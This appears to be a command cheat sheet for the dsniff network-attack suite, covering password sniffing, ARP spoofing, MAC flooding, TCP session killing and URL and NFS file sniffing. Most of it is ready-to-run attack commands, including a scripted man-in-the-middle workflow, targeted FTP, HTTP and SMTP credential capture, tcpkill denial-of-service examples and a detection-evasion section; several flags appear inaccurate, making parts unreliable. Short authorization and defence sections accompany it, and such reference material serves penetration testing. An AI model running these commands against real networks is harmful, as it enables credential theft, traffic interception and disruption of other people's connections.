콘텐츠로 이동
1337skills 1337skills - 치트시트

dsniff

Overview

섹션 제목: “Overview”

dsniff is a collection of powerful network auditing and penetration testing tools designed for password sniffing, traffic interception, and man-in-the-middle (MITM) attacks. The suite includes multiple utilities like dsniff (password sniffer), arpspoof (ARP spoofing), macof (MAC flooding), tcpkill (TCP session killer), urlsnarf (URL sniffing), and filesnarf (file transfer sniffing). These tools are essential for network security testing but require careful ethical use and proper authorization.

Installation

섹션 제목: “Installation”

Debian/Ubuntu

섹션 제목: “Debian/Ubuntu”
sudo apt-get update
sudo apt-get install dsniff

Kali Linux (pre-installed)

섹션 제목: “Kali Linux (pre-installed)”
which dsniff
dsniff -h

From source

섹션 제목: “From source”
git clone https://github.com/dsniff-mirror/dsniff.git
cd dsniff
./configure
make
sudo make install

Verify installation

섹션 제목: “Verify installation”
dsniff -h
arpspoof -h
macof -h
tcpkill -h
urlsnarf -h
filesnarf -h

Core Tools Overview

섹션 제목: “Core Tools Overview”
ToolPurpose
dsniffCapture and display passwords from network traffic
arpspoofSpoof ARP packets to redirect traffic
macofFlood network with bogus MAC addresses
tcpkillKill TCP connections
urlsnarfCapture URLs from HTTP traffic
filesnarfSniff files from NFS traffic

dsniff - Password Sniffer

섹션 제목: “dsniff - Password Sniffer”

Basic password sniffing

섹션 제목: “Basic password sniffing”
# Capture passwords on default interface
sudo dsniff

# Capture on specific interface
sudo dsniff -i eth0

# Verbose output
sudo dsniff -v

# Save to file
sudo dsniff -w passwords.log

# Specific protocol
sudo dsniff -n ftp
sudo dsniff -n http

Advanced sniffing

섹션 제목: “Advanced sniffing”
# Sniff specific subnet
sudo dsniff 10.0.0.0/24

# Multiple protocols
sudo dsniff -n "ftp http telnet pop3"

# High verbosity
sudo dsniff -vv

# Output to pcap file
sudo dsniff -f filter_expression -w capture.pcap

arpspoof - ARP Spoofing

섹션 제목: “arpspoof - ARP Spoofing”

Basic ARP spoofing

섹션 제목: “Basic ARP spoofing”
# Spoof ARP between target and gateway
sudo arpspoof -i eth0 -t 10.0.0.100 10.0.0.1

# Spoof bidirectional traffic
sudo arpspoof -i eth0 -t 10.0.0.100 -T 10.0.0.1 10.0.0.1

# Verbose output
sudo arpspoof -v 10.0.0.100

MITM setup with ARP spoofing

섹션 제목: “MITM setup with ARP spoofing”
# Terminal 1: Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Terminal 2: Spoof target
sudo arpspoof -i eth0 -t 10.0.0.100 10.0.0.1

# Terminal 3: Spoof gateway
sudo arpspoof -i eth0 -t 10.0.0.1 10.0.0.100

# Terminal 4: Sniff traffic
sudo dsniff -i eth0

Selective ARP spoofing

섹션 제목: “Selective ARP spoofing”
# Spoof specific target only
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Spoof multiple targets
for target in 192.168.1.{100,101,102}; do
  sudo arpspoof -i eth0 -t "$target" 192.168.1.1 &
done

# Background process
sudo arpspoof -i eth0 -t 10.0.0.100 10.0.0.1 > /dev/null 2>&1 &

macof - MAC Flooding

섹션 제목: “macof - MAC Flooding”

Basic MAC flooding

섹션 제목: “Basic MAC flooding”
# Flood switch with fake MAC addresses
sudo macof -i eth0

# Flood specific subnet
sudo macof -i eth0 -n 10.0.0.0/24

# Custom delay between packets
sudo macof -i eth0 -d 10

# Spoof specific gateway
sudo macof -i eth0 -g 10.0.0.1

Flooding scenarios

섹션 제목: “Flooding scenarios”
# Continuous flooding
sudo macof -i eth0 -c 0

# Limited packets
sudo macof -i eth0 -c 1000

# Verbose output
sudo macof -v

# With source MAC
sudo macof -e 00:11:22:33:44:55

tcpkill - TCP Session Killer

섹션 제목: “tcpkill - TCP Session Killer”

Kill TCP connections

섹션 제목: “Kill TCP connections”
# Kill all HTTP traffic
sudo tcpkill -i eth0 'tcp port http'

# Kill specific connection
sudo tcpkill -i eth0 'tcp and host 10.0.0.100'

# Kill SSH connections from specific IP
sudo tcpkill -i eth0 'tcp and src 10.0.0.100 and port 22'

# Kill HTTPS traffic
sudo tcpkill -i eth0 'tcp port 443'

Advanced tcpkill usage

섹션 제목: “Advanced tcpkill usage”
# Verbose mode
sudo tcpkill -v -i eth0 'tcp port ftp'

# Show packets being killed
sudo tcpkill -n -i eth0 'tcp port http'

# Custom RST packet
sudo tcpkill -s 10 'tcp port 80'

urlsnarf - URL Sniffing

섹션 제목: “urlsnarf - URL Sniffing”

Capture URLs

섹션 제목: “Capture URLs”
# Sniff all HTTP URLs
sudo urlsnarf -i eth0

# Sniff from specific subnet
sudo urlsnarf -i eth0 10.0.0.0/24

# Verbose output
sudo urlsnarf -v

# Save to file
sudo urlsnarf -i eth0 > urls.txt

Filtering URLs

섹션 제목: “Filtering URLs”
# Monitor in real-time and filter
sudo urlsnarf -i eth0 | grep -i ".pdf\|.doc"

# Extract just domains
sudo urlsnarf -i eth0 | awk -F'/' '{print $1}' | sort | uniq

# Get specific file types
sudo urlsnarf -i eth0 | grep -E "\.(jpg|png|gif|zip)"

filesnarf - File Sniffing

섹션 제목: “filesnarf - File Sniffing”

Sniff NFS files

섹션 제목: “Sniff NFS files”
# Sniff NFS traffic
sudo filesnarf -i eth0

# Target specific host
sudo filesnarf -i eth0 nfs.server.com

# Monitor specific subnet
sudo filesnarf -i eth0 10.0.0.0/24

# Save files to directory
sudo filesnarf -i eth0 -d /tmp/sniffed_files

Integration with other tools

섹션 제목: “Integration with other tools”
# Combine with arpspoof for MITM
sudo arpspoof -i eth0 -t 10.0.0.100 10.0.0.1 &
sudo filesnarf -i eth0

Complete MITM Attack Workflow

섹션 제목: “Complete MITM Attack Workflow”

Setup phase

섹션 제목: “Setup phase”
# Enable IP forwarding (critical for MITM)
sudo sysctl -w net.ipv4.ip_forward=1

# Enable IP forwarding permanently
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p

ARP spoofing phase

섹션 제목: “ARP spoofing phase”
#!/bin/bash
TARGET="10.0.0.100"
GATEWAY="10.0.0.1"
INTERFACE="eth0"

echo "[*] Starting ARP spoofing..."
echo "[*] Spoofing $TARGET and $GATEWAY"

# Spoof target
sudo arpspoof -i "$INTERFACE" -t "$TARGET" "$GATEWAY" &
SPOOF1=$!

# Spoof gateway
sudo arpspoof -i "$INTERFACE" -t "$GATEWAY" "$TARGET" &
SPOOF2=$!

echo "[+] ARP spoofing processes: $SPOOF1 $SPOOF2"

Sniffing phase

섹션 제목: “Sniffing phase”
# Multiple sniffing operations
sudo dsniff -i eth0 -w dsniff.log &
sudo urlsnarf -i eth0 > urls.log &
sudo filesnarf -i eth0 &

# Monitor in real-time
tail -f dsniff.log
tail -f urls.log

Cleanup

섹션 제목: “Cleanup”
# Kill all background processes
killall arpspoof dsniff urlsnarf filesnarf tcpkill

# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Send ARP announcements to restore routing
sudo arpspoof -i eth0 -c 5 "$TARGET" "$GATEWAY"
sudo arpspoof -i eth0 -c 5 "$GATEWAY" "$TARGET"

Advanced Scenarios

섹션 제목: “Advanced Scenarios”

Network surveillance

섹션 제목: “Network surveillance”
# Capture all traffic to a subnet
sudo tcpdump -i eth0 -n -w network_capture.pcap net 10.0.0.0/24

# Analyze with dsniff
sudo dsniff -f 'not port 22' -w sensitive.log

# Monitor multiple protocols
sudo dsniff -n "http ftp telnet pop3 imap"

Targeted credential capture

섹션 제목: “Targeted credential capture”
# FTP capture with arpspoof
sudo arpspoof -i eth0 -t 10.0.0.100 10.0.0.1 &
sudo dsniff -i eth0 -n ftp

# HTTP authentication sniffing
sudo dsniff -i eth0 -n http

# SMTP credential capture
sudo dsniff -i eth0 -n smtp

Denial of service with tcpkill

섹션 제목: “Denial of service with tcpkill”
# Kill all SSH connections
sudo tcpkill -i eth0 'tcp port 22'

# Kill web traffic from specific IP
sudo tcpkill -i eth0 'host 10.0.0.100 and tcp port 80'

# Disconnect user from network
sudo tcpkill -i eth0 'src 10.0.0.100'

Traffic redirection and monitoring

섹션 제목: “Traffic redirection and monitoring”
# Monitor and log all HTTP traffic
sudo urlsnarf -i eth0 | tee http_log.txt

# Real-time URL filtering
sudo urlsnarf -i eth0 | grep -v "google\|facebook\|twitter"

# Extract sensitive URLs
sudo urlsnarf -i eth0 | grep -E "login|password|admin"

Detection and Evasion

섹션 제목: “Detection and Evasion”

Detect ARP spoofing

섹션 제목: “Detect ARP spoofing”
# Monitor for ARP inconsistencies
sudo arpwatch -i eth0

# Manual ARP inspection
arp -a

# Check for duplicate IPs
arp-scan --localnet

Evade detection

섹션 제목: “Evade detection”
# Use random MAC addresses
sudo macof -e 00:11:22:$(printf '%02x:%02x:%02x' $((RANDOM%256)) $((RANDOM%256)) $((RANDOM%256)))

# Slow down ARP spoofing
sudo arpspoof -i eth0 -d -t target gateway
섹션 제목: “Legal and Ethical Considerations”

Authorization requirements

섹션 제목: “Authorization requirements”
  • Only use on networks you own or have explicit written permission to test
  • Inform network administrators before testing
  • Document all testing activities
  • Respect privacy and data protection laws
  • Never capture or use credentials maliciously
  • Follow responsible disclosure practices

Defensive measures

섹션 제목: “Defensive measures”
# Protect against ARP spoofing
sudo ip route add 10.0.0.1 dev eth0

# Static ARP entries
sudo arp -s 10.0.0.1 00:11:22:33:44:55

# DHCP snooping and DAI (Dynamic ARP Inspection)
# Configure on managed switches

Troubleshooting

섹션 제목: “Troubleshooting”

No passwords captured

섹션 제목: “No passwords captured”
# Verify interface is in promiscuous mode
ip link show eth0

# Set promiscuous mode
sudo ip link set eth0 promisc on

# Check IP forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward

# Verify ARP spoofing is working
arp -a | grep -i "incomplete"

ARP spoofing not working

섹션 제목: “ARP spoofing not working”
# Check network connectivity
ping target_ip
ping gateway_ip

# Verify correct interface
ifconfig

# Check firewall rules
sudo iptables -L

# Test with verbose mode
sudo arpspoof -v -i eth0 -t target gateway

Best Practices

섹션 제목: “Best Practices”
  • Always have explicit authorization before testing
  • Use in isolated lab environments when possible
  • Maintain detailed logs of all activities
  • Clean up and restore network state after testing
  • Use strong passwords to prevent credential theft
  • Monitor your own networks for suspicious activity
  • Implement network security controls
  • Consider using encrypted protocols (SSH, HTTPS, etc.)
  • Use intrusion detection systems to monitor for attacks
  • Keep systems updated and patched

Resources

섹션 제목: “Resources”